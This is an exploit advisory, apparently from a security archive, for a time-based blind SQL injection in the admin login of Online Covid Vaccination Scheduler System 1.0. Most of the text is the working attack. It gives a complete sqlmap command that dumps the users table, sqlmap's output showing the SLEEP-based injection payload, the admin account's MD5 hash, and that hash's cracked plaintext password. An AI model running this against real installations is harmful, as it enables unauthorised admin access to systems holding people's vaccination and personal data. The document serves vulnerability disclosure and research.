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Online Covid Vaccination Scheduler System 1.0 SQL Injection

Online Covid Vaccination Scheduler System 1.0 SQL Injection
Posted Jul 7, 2021
Authored by faisalfs10x

Online Covid Vaccination Scheduler System version 1.0 suffers from a remote time-based blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 32a4ebe3a2c4d0408162c566f003abfc0258309dc6f2635c17de7c4a2d850b46

Online Covid Vaccination Scheduler System 1.0 SQL Injection

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# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.


###########
# PoC #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump


###########
# Output #
###########

Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+


The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123
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